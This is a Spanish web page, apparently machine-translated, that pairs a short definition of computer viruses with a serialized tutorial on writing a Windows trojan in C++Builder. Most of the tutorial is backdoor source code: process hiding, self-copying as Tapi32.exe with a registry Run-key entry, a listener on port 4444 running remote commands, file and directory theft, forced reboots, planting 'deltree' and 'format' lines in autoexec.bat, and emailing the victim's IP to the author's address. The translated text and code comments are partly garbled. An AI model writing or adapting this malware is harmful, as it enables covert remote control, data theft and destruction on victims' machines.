Red de conocimientos turísticos - Información de alquiler - ¿Qué es un hacker? ¿Qué es un virus informático?

¿Qué es un hacker? ¿Qué es un virus informático?

¿Qué es un virus informático?

Un virus informático es un programa, un fragmento de código ejecutable. Al igual que los virus biológicos, los virus informáticos tienen una capacidad única de replicarse. Los virus informáticos pueden propagarse rápidamente

y, a menudo, son difíciles de erradicar. Pueden adjuntarse a varios tipos de archivos. Se propagan con archivos a medida que se copian o transfieren de un usuario a otro.

Además de la capacidad de replicarse, algunos virus informáticos tienen otras características únicas: un programa contaminado puede transmitir el vector del virus. Cuando ve vectores de virus que parecen manifestarse únicamente en texto e imágenes, es posible que también hayan destruido archivos, reformateado su disco duro o hayan causado otros tipos de desastres. Si un virus no

habita en un programa contaminado, aún puede causar problemas al ocupar espacio de almacenamiento y degradar el rendimiento general de su computadora.

La definición de virus informático se puede dar desde diferentes perspectivas. Una definición es un programa que se propaga a través de discos, cintas y redes como medio y puede "infectar" otros programas

. El otro es un programa latente, infeccioso y destructivo que puede replicarse y existir con la ayuda de un determinado vector. Otra definición es un programa creado por el hombre que se esconde o es parásito en medios de almacenamiento (como discos, memoria) o programas a través de diferentes canales. Cuando una determinada condición o tiempo madura, se replicará

y se propagará, provocando que diferentes programas dañen los recursos de la computadora, etc. En cierto sentido, estas declaraciones toman prestado el concepto de virus biológicos. Los virus informáticos son similares a los virus biológicos en el sentido de que son "patógenos" que pueden invadir sistemas y redes informáticas y poner en peligro el funcionamiento normal. Puede causar diversos daños a los sistemas informáticos y al mismo tiempo puede replicarse

y es contagioso.

Por lo tanto, un virus informático es un virus informático que puede acechar en un medio (o programa) de almacenamiento de una computadora a través de algún medio y activarse cuando se alcanzan ciertas condiciones.

Un conjunto de Procedimientos o instrucciones que realizan acciones destructivas sobre un recurso.

Referencia: /pages/winfile/FaQ/bingdu.html

Cómo se escriben los troyanos (1)

Wuhan Zhou Kan

El término caballo de Troya debería ser familiar para todos. Desde que el grupo de hackers "Dead Cow Cult" lanzó Back Orifice en 1998, los caballos de Troya han sido como truenos en el suelo, provocando que los internautas chinos que crecieron en el Dos se despertaran. Soñé y finalmente me di cuenta de que Internet también tiene su lado malvado, lo que hizo que la gente entrara en pánico por un tiempo.

Vi un artículo en "Computer News" en ese momento. La idea principal era que un novato estaba controlado por alguien que usaba BO. Estaba tan asustado que no podía comer, dormir ni acceder. Internet todo el día ¡Ayuda! Jaja, ya sabes, la historia de Trojan es muy larga: ya en los días en que AT&T Unix y BSD Unix eran muy populares, Trojan fue creado por algunos jóvenes (principalmente estadounidenses mayores) que eran muy buenos ejecutando programas (principalmente C ) escrito en lenguaje C o Shell, básicamente se utiliza para robar la contraseña para iniciar sesión en el host con el fin de obtener mayores privilegios. En ese momento, el método principal de los caballos de Troya era engañarlos. Primero, modifica tu archivo .profile e implanta el caballo de Troya. Cuando inicias sesión, los caracteres de la contraseña que ingresaste se almacenan en un archivo y se envían al buzón del atacante. en forma de correo electrónico. La mayoría de los jóvenes en China crecieron bajo la influencia de DoS pirateados y no están muy familiarizados con Internet. Hasta que salió Win9x, especialmente la popularidad de WinNt, que promovió en gran medida el desarrollo de la industria de las redes, BO parecía un poco simple e incluso un troyano tosco desde la perspectiva de tres años después (incluso en el "programa de apagado" de Win9x El proceso Se puede ver en el cuadro de diálogo) que conmocionó enormemente al pueblo chino en ese momento. Se puede decir que es un software que hace época en términos de seguridad de la red de China.

Escribir tu propio troyano suena genial, ¿verdad? ! Los troyanos deben constar de dos partes: el programa servidor (Servidor) y el programa cliente (Cliente). El servidor es responsable de abrir el camino para el ataque, al igual que el cliente es responsable de atacar al objetivo. protocolos para comunicarse (Generalmente protocolo TCP/IP). Para que todos comprendan mejor la tecnología de ataque de los troyanos y eliminen el misterio de los troyanos, hablaré brevemente sobre la tecnología de escritura de troyanos y, por cierto, escribiré un troyano de ejemplo, para que todos puedan prevenir y eliminar mejor varios troyanos conocidos y desconocidos. .

La primera es la elección de las herramientas de programación. Las herramientas de desarrollo más populares actualmente incluyen C ++ Builder, VC, VB y Delphi. Aquí elegimos C ++ Builder (en adelante, BCB). Aunque VC es bueno, el diseño de la GUI es demasiado complicado para resaltar mejor mis ejemplos. Me centraré en Centrándonos en los principios básicos de los caballos de Troya, elegimos visual BCB también es bueno, pero la desventaja es que no puede heredar los recursos existentes (como el código fuente BO2000 publicado por el hacker "Dead Cow Cult"). grupo, que está escrito por VC y se puede encontrar en línea (en todas partes); VB, ¿por qué ni siquiera hablas de ello? ¿También le pasas una biblioteca de enlaces dinámicos de más de 1 megabyte a la víctima?

Inicie C++Builder 5.0 Enterprise Edition, cree un nuevo proyecto y agregue tres controles VCL: uno es Server Socket en la página de Internet y los otros dos son NMFTP y NMSMTP en la página Fastnet. La función de Server Socket es convertir este programa en un programa de servidor que pueda servir a terceros (abriendo la puerta a los atacantes). Socket apareció por primera vez en Unix y luego Microsoft lo introdujo en Windows (incluidos Win98 y WinNt). Los dos últimos controles se utilizan para permitir que el programa tenga FTP (Protocolo de transferencia de archivos) y SMTP (Protocolo simple de transferencia de correo); ), todos saben de un vistazo que es un control que permite al software cargar y descargar funciones y enviar correos electrónicos.

El formulario del Formulario es visual, lo cual por supuesto es increíble. No sólo ocupa mucho espacio (un solo formulario pesa 300K), sino que también hace que el software sea visible y no tiene ningún efecto. Por lo tanto, cuando se escribe un caballo de Troya, se pueden utilizar algunas técnicas para evitar que el programa contenga formularios, al igual que los pequeños programas implementados por procesos Delphi que generalmente sólo tienen alrededor de 17 KB.

Primero debemos hacer nuestro programa invisible. Haga doble clic en el formulario y primero agregue código en el evento FormCreate que permite que el troyano se oculte en el cuadro de diálogo "Cerrar programa" de Win9x. Esto parece muy misterioso, de hecho, para decirlo sin rodeos, es solo un proceso en segundo plano llamado Servicio. Puede ejecutarse con una prioridad más alta y se puede decir que es uno de los controladores de dispositivo que está muy cerca del núcleo del sistema. . Por lo tanto, solo necesitamos registrar nuestro programa como un proceso de servicio (Proceso de Servicio) en la base de datos de procesos usando la función RegisterServiceProcess(). Sin embargo, la declaración de esta función no está en el archivo de encabezado preempaquetado de Borland, por lo que tenemos que declarar nosotros mismos la función bird ubicada en KERNEL32.DLL.

Primero determine si el sistema operativo de la máquina de destino es Win9x o WinNt:

{

DWORD dwVersion = GetVersion();

/ / Obtener el número de versión del sistema operativo

if (dwVersion >= 0x80000000)

// El sistema operativo es Win9x, no WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://define el prototipo de la función RegisterServiceProcess()

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://Carga la biblioteca de vínculos dinámicos KERNEL32.DLL donde está la función RegisterServiceProcess() ubicado

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://Obtener la dirección de la función RegisterServiceProcess()

lpRegisterServiceProcess (GetCurrentProcessId(),1);

file://Ejecutar la función RegisterServiceProcess() y ocultar este proceso

FreeLibrary(hDLL);

archivo: //Desinstalar la biblioteca de enlaces dinámicos

}

}

De esta manera finalmente puedo volverme invisible (¡lo que me hizo escribir tanto código!). ¿Por qué deberíamos juzgar el sistema operativo? Debido a que el administrador de procesos en WinNt puede tener una descripción general del proceso actual, no es necesario usar el código anterior en WinNt (pero puede usar otros métodos, que se discutirán más adelante).

Luego cópiese al directorio %System%, por ejemplo: C:\Windows\System, y modifique el registro para que se cargue automáticamente al inicio:

{

char TempPath [MAX_PATH];

file://define una variable

GetSystemDirectory(TempPath,MAX_PATH);

file://TempPath es el búfer del directorio del sistema. dirección, MAX_PATH es el tamaño del búfer, obtenga la ruta del directorio del sistema de la máquina de destino

SystemPath=AnsiString(TempPath);

file://Formatee la cadena TempPath para hacer Conviértete en un estilo que puede ser utilizado por el compilador

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://Copiarse en el directorio %System%, cambiarle el nombre a Tapi32.exe y disfrazarlo

Registry=new TRegistry;

file:/ /defina un objeto TRegistry, prepárese para modificar el registro, este paso es esencial

Registry->RootKey=HKEY_LOCAL_MACHINE;

file://Establezca la clave principal en HKEY_LOCAL_MACHINE

Registro ->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

archivo://Abrir clave Software\\Microsoft\\Windows\\ CurrentVersion\\Run, si no existe, créelo

pruebe

{

file://Si ocurre una excepción en la siguiente declaración, salte capturar para evitar fallas del programa

if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registro->WriteString("crossbow" ,SystemPath+"\\Tapi32. exe");

file://Compruebe si hay un valor clave con la palabra "ballesta" y si es el directorio copiado %System%+Tapi32.exe

file:// Si no, escriba el valor clave y el contenido anteriores

}

catch(...)

{

archivo:/ /Si hay un error, no haga nada

}

}

OK, el proceso FormCreate está completo, por lo que que Tapi32.exe se puede cargar automáticamente cada vez que se inicia, y el proceso ya no es visible en el cuadro de diálogo "Cerrar programa" y aparece el prototipo del caballo de Troya.

Luego seleccione el control ServerSocket y cambie Activo a verdadero en el Inspector de objetos de la izquierda, de modo que el puerto específico se abra tan pronto como se inicie el programa y el servidor esté en estado de funcionamiento. Luego complete el Puerto con 4444, que es el número de puerto del troyano. Por supuesto, también puede usar algo más.

Pero debe tener cuidado de no usar puertos de gama baja por debajo de 1024, porque esto no solo puede entrar en conflicto con los puertos utilizados por los protocolos de red básicos, sino que también puede detectarse fácilmente, así que intente usar puertos de gama alta por encima de 1024 (pero hay Además, dicha tecnología utiliza intencionalmente un puerto específico porque Windows no se quejará si causa un conflicto ^_^). Puede echar un vistazo al puerto utilizado por el control TNMFTP. Es el puerto 21, que es un puerto de control dedicado para el protocolo FTP (FTP Control Port). De manera similar, el puerto 25 de TNMSMTP también es un puerto dedicado para el protocolo SMTP. .

Luego seleccione el control ServerSocket, haga clic en la página Eventos, haga doble clic en el evento OnClientRead e ingrese el siguiente código:

{

ARCHIVO *fp= NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file:// define un grupo de archivos que se utilizarán más adelante variable

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file:/ /Cree un archivo de texto Win369.bat en %System% y utilícelo como un archivo temporal

AnsiString temp=Socket->ReceiveText();

file:/ /cliente receptor (Los datos enviados por el atacante (es decir, usted mismo)

}

Bueno, ¡la puerta está abierta! ¡El siguiente paso es modificar las distintas configuraciones de la máquina de destino! ^_^ Primero, modifiquemos Autoexec.bat y Config.sys:

{

if(temp.SubString(0,9)=="edit conf")

file://Si los primeros 9 caracteres de la cadena recibida son "edit conf"

{

int number=temp.Length();

file://Obtener la longitud de la cadena

int file_name=atoi((temp.SubString(11,1)).c_str());

archivo: //Convierte el undécimo carácter a tipo entero y lo almacena en la variable file_name

file://¿Por qué deberíamos tomar el undécimo carácter, porque el décimo carácter es un espacio?

content=(temp.SubString(12,number-11)+'\n').c_str();

file://La cadena restante se escribirá como el contenido escrito en el archivo de destino

ARCHIVO *fp=NULL;

nombre de archivo char[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE

<); p> chmod("c:\\config.sys",S_IREADS_IWRITE);

file://Cambie los atributos de los dos archivos de destino a legibles y escribibles

if(file_name ==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://if Si los 11 caracteres son 1, formatear Autoexec.bat

else if(file_name==2)

sprintf(filename,"%s","c:\\config .sys");

file://Si el undécimo carácter es 1, formatee Config.sys

times_of_try=0;

file ://defina el contador

mientras (fp==NULL)

{

>

file://Si el puntero está vacío

fp=fopen(filename,"a+");

file://Si el archivo no existe, cree si existe, listo para agregar después

file://Si ocurre un error, el puntero del archivo estará vacío, por lo que se repetirá

times_of_try=times_of_try+1 ;

file://Contador incrementado en 1

if(times_of_try>100)

{

file://Si lo he intentado 100 veces y aún no lo he logrado

Socket->SendText("Fail By Open File");

file:// devolverá el error "Fail By Open File" mensaje

ir al FINAL;

archivo://saltar al FINAL

}

}

fwrite( content,sizeof(char), strlen(content),fp);

file://escribe la declaración agregada, como deltree/y C: o format/q/autotest C:, ¿es venenoso? ¿suficiente? !

fclose(fp);

file://Cerrar el archivo de destino después de escribir

Socket->SendText("Sucess");

file:// y luego devolver el mensaje de éxito "Éxito"

}

}

La última vez hablamos sobre cómo modificar el inicio en el archivo de configuración de la máquina de destino, esta vez verificaremos el árbol de directorios y los archivos en la máquina de destino. Utilice el comando "dir" en el cliente y escriba ?:

{

. else if (temp.SubString(0,3)=="dir")

{

file://Si los primeros 3 caracteres son "dir"

int Read_Num;

char * CR_LF="\n";

int attrib;

char *nombre de archivo;

DIR *dir ;

struct dirent *ent;

int number=temp.Length();

file://obtiene la longitud de la cadena

AnsiString Dir_Name=temp.SubString(5,number-3);

file://Comience desde el sexto carácter de la cadena y almacene los siguientes caracteres en la variable Dir_Name. el nombre del directorio

if(Dir_Name=="")

{

file://Si el nombre del directorio está vacío

Socket->SendText( "Fallo por el nombre de Open DIR");

file://devuelve la información "Fallo por el nombre de Open DIR"

ir a END;

file://saltar a FINAL

}

char * dirname;

dirname=Dir_Name.c_str();

if ( (dir = opendir(dirname)) == NULL)

{

file://Si hay un error al abrir el directorio

Socket->SendText ("¡Falla por el nombre de tu DIR!");

file://return mensaje "Falla por el nombre de tu DIR"

ir a FIN;

archivo: //salta a FIN

}

times_of_try=0;

while(fp==NULL)

{

archivo ://Si el puntero es NULL

fp=fopen(TempFile,"w+");

archivo://create system\Win369.bat listo para leer y escribiendo; si este Si el archivo ya existe, se sobrescribirá

times_of_try=times_of_try+1;

file://counter más 1

si (times_of_try>100)

p>

{

file://Si lo has intentado 100 veces y aún no lo has logrado (¡muy paciente!)

Socket->SendText("Error al abrir archivo ");

file:// devolverá el mensaje de error "Error al abrir archivo"

ir a END;

file:// y salta a END

}

}

while ((ent = readdir(dir)) != NULL)

{

file://Si el acceso al directorio de destino es exitoso

if(*(AnsiString(dirname)).AnsiLastChar()!='\\ ')

file:/ /Si el último carácter no es "\", demuestra que no es el directorio raíz

filename=(AnsiString(dirname)+"\\ "+ent->d_name).c_str();

file:// más el carácter "\" apuntará el puntero a la secuencia del directorio

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

Si file:// es el directorio raíz, no es necesario agregar "\"

attrib=_rtl_chmod(filename, 0);

file:// obtiene los atributos de acceso del archivo de destino

if (attrib & FA_RDONLY)

El carácter file:// "&" compara las dos variables antes y después. Si son iguales, devuelve 1; de lo contrario, devuelve 0

fwrite(" R",sizeof(char),3. ,fp);

file://Establezca el atributo del archivo de destino en solo lectura

else

fwrite(" ",sizeof(char),3 ,fp);

Si file:// falla, escriba espacios

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char) ,1,fp);

file://Establezca el atributo del archivo de destino en oculto

else

fwrite(" ",sizeof(char),1 ,fp);

Si file:// falla, escriba espacios

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char) ,1,fp);

file://Establezca el atributo del archivo de destino en sistema

else

fwrite(" ",sizeof(char),1 ,fp);

Si file:// falla, escriba espacios

if (attrib & FA_ARCH)

fwrite("A",sizeof(char) ,1,fp);

file://Establezca el atributo del archivo de destino en normal

else

fwrite(" ",sizeof(char),1 ,fp);

Si file:// falla, escriba espacios

if (attrib & FA_DIREC)

fwrite("

",sizeof( char),9,fp);

file://Establezca el atributo del archivo de destino en el directorio

else

fwrite(" ",sizeof(char ),9,fp);

Si file:// falla, escriba espacios

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name), fp);

file://escribir el nombre del directorio en el archivo de destino

fwrite(CR_LF,1,1,fp);

file://write nueva línea

}

fclose(fp);

archivo://Cerrar el archivo

closedir(dir);

archivo://Cerrar directorio

ARCHIVO *fp1=NULL;

times_of_t

ry=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://Abre Win369.bat y prepárate para leer

times_of_try=times_of_try+1;

file://Contador más 1

if(times_of_try >100 )

{

file://Si lo ha intentado 100 veces y aún falla

Socket->SendText("Error al abrir archivo") ;

file:// devolverá el mensaje de error "Error al abrir archivo"

vaya a FIN;

file:// y salte a FINAL

}

}

AnsiString Return_Text="";

char temp_content[300];

para ( int i=0;i<300;i++) temp_content[i]='\0';

file://una matriz vacía definida

Read_Num=fread(temp_content ,1,300 ,fp1);

file://Lee los primeros 300 caracteres del archivo de destino

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Variable Return_Text más los 300 caracteres de ahora

for(int i=0;i<300; i++) temp_content[ i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

archivo://repeat

} ;

Return_Text=Return_Text+temp_content;

file://Return_Text variable más los 300 caracteres de ahora

fclose(fp1);

archivo: //Cerrar el archivo de destino

Socket->SendText(Return_Text);

file://Devuelve el contenido de la variable Return_Text

}

}

¿Es lo suficientemente largo? ! ¿Es tan laborioso ver el árbol de directorios? ! Posteriormente podrá utilizar varios cuadros de lista en BCB para embellecer Client.exe.

El siguiente paso es ver el contenido del archivo especificado. El Cliente utilizará el comando "escribir" (¿tienes los dedos cansados?):

{

else if(temp. SubString(0 ,4)=="tipo")

{

file://si los primeros 4 caracteres son "tipo"

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://almacenar el secuencia del archivo de destino en la variable File_Name

times_of_try=0;

while(fp==NULL)

{

fp=fopen (File_Name. c_str(),"r");

file://abrir archivo de destino para leer

times_of_try=times_of_try+1;

archivo: //counter Agrega 1

if(times_of_try>100)

{

file://Si se ha probado 100 veces

Socket- >SendText("Fallo al abrir archivo");

file://devuelve el mensaje de error "Fallo al abrir archivo"

ir a FIN;

archivo ://Ir a FIN

}

}

AnsiString Return_Text="";

char temp_content[300 ];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://define una matriz vacía

Read_Num=fread(temp_content,1,300,fp);

file://Lee los primeros 300 caracteres del archivo de destino

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

El contenido de file://Return_Text más los caracteres de ahora

for(int i=0; i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

archivo://repetir

};

Return_Text=Return_Text+temp_content;

El contenido de file://Return_Text más los caracteres de ahora

fclose (fp);

archivo://Cerrar el archivo de destino

Socket->SendText(Return_Text);

archivo:

// Devuelve el contenido de Return_Text, es decir, el contenido del archivo que ves

}

}

¡Ejem! ¡desgastado! ¿Hagamos algo más relajante? Manipular la unidad óptica de la máquina de destino (nota: la declaración de la función mciSendString() está en el archivo de encabezado mmsystem.h):

{

else if(temp= ="open")

{

file://Si el contenido del temporal recibido es "open"

mciSendString(" configure la puerta de cdaudio abierta" , NULL, 0, NULL);

file:// abrirá la bandeja de la unidad óptica

}

else if(temp =="cerrar")

{

file://Si el contenido de la temperatura recibida es "cerrar"

mciSendString("Configurar la puerta de cdaudio cerrada wait", NULL, 0, NULL);

file:// se almacena en la bandeja de la unidad óptica. ¡Por supuesto, también puedes crear un bucle infinito y dejar que su unidad óptica funcione correctamente! ^_^

}

}

El siguiente paso es intercambiar los botones izquierdo y derecho del mouse de la máquina de destino. El código es el siguiente: <. /p>

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://Intercambia los botones izquierdo y derecho del mouse, ¿simple verdad?

}

}

Luego reinicie la máquina de destino.

Pero aquí debemos distinguir entre WinNt y Win9x. NT concede gran importancia a los derechos de cada proceso en el sistema. Un proceso normal no debería tener derecho a llamar al sistema, por lo que debemos otorgarle permisos suficientes a este programa:

{

else if(temp=="reboot")

{

file://si el contenido de la temperatura recibida es " temp"

DWORD dwVersion = GetVersion();

file://Obtener el número de versión del sistema operativo

if (dwVersion < 0x80000000)

{

file://El sistema operativo es WinNt, no Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://Variables de definición

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);

La función de file://OpenProcessToken() es abrir el token de acceso de un proceso

La función file://GetCurrentProcess() es para obtener el identificador de este proceso

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

file La función de ://LookupPrivilegeValue() es modificar los permisos del proceso

tkp.PrivilegeCount = 1

file://Give; privilegios para este proceso

tkp .Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AjusteTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges() La función es notificar a Windows NT para que modifique los derechos de este proceso

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file:/ /Forzar el cierre de WinNt y reiniciar

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://Forzar el cierre de Win9x y reiniciar

}

}

Si no es ninguna de las opciones anteriores, deje que ejecute el comando pasado en la ventana Dos:

{

else

{

file://si ninguno

char * CR_TF="\n";

times_of_try=0 ;

while(fp== NULL)

{

fp=fopen(TempFile,"w+");

archivo: //Crear Win369.bat, sobrescribir si ya existe

times_of_try=ti

mes_of_try+1;

file://contador más 1

if(times_of_try>100)

{

Socket->EnviarTexto ("Error al abrir archivo");

file://Devuelve la información "Error al abrir archivo"

ir a FIN;

file:// Saltar para FINALIZAR

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp) ;

archivo://Escribe el comando a ejecutar

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

archivo: //Escribe carácter de nueva línea

fclose(fp);

file://Cerrar Win369.bat

system(TempFile);

file://Ejecutar Win369.bat

Socket->SendText("Éxito");

archivo://devolver información de "Éxito"

}

}

Puede ejecutar directamente comandos como Ping y Tracert para probar más a fondo el estado de la red de la máquina de destino (para determinar si es una LAN empresarial) y luego puede Ataques adicionales como comandos Deltree y Format. ^_^

En este punto, todas las funciones del programa del servidor se han completado, pero la parte de tolerancia a fallas aún está incompleta, para evitar que el programa falle debido a accidentes.

Amigos, ¡no os vayáis! (Continuará)

Cómo escribir troyanos (3)

Wuhan Zhou Kan

La última vez, escribí varias funciones en el lado del servidor, pero Todavía hay La parte de tolerancia a fallas aún no se ha completado, ¡continuemos! El código es el siguiente (exactamente como está copiado ^_^):

{

END: ;

Socket->Close();

file://Cerrar el servicio

ServerSocket1->Active =true;

file://Abrir el servicio nuevamente

p>

si (NMSMTP1->Conectado) NMSMTP1->Desconectar();

file://Desconectar si el servidor SMTP está conectado

NMSMTP1->Host = "smtp.163.net";

file://Elija un buen servidor SMTP, como 163, 263, sina y btamail

NMSMTP1->ID de usuario = ""

archivo://su ID SMTP

intente

{

NMSMTP1-> Conectar();

file://conectar de nuevo

}

catch(...)

{

ir a NextTime;

file://saltar a NextTime

}

NMSMTP1->PostMessage->FromAddress ="¡No lo sé! ";

file://Dirección de correo electrónico de la víctima

NMSMTP1->PostMessage->FromName = "Casualty";

file://Nombre de la víctima

NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net";

file://Enviar la carta a mi buzón, este paso es crucial

NMSMTP1 ->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;

file://El contenido de la carta le indica que "el El servidor se está ejecutando" y le indica la dirección IP actual de la víctima para poder conectarse

NMSMTP1->PostMessage->Subject = "Server Runn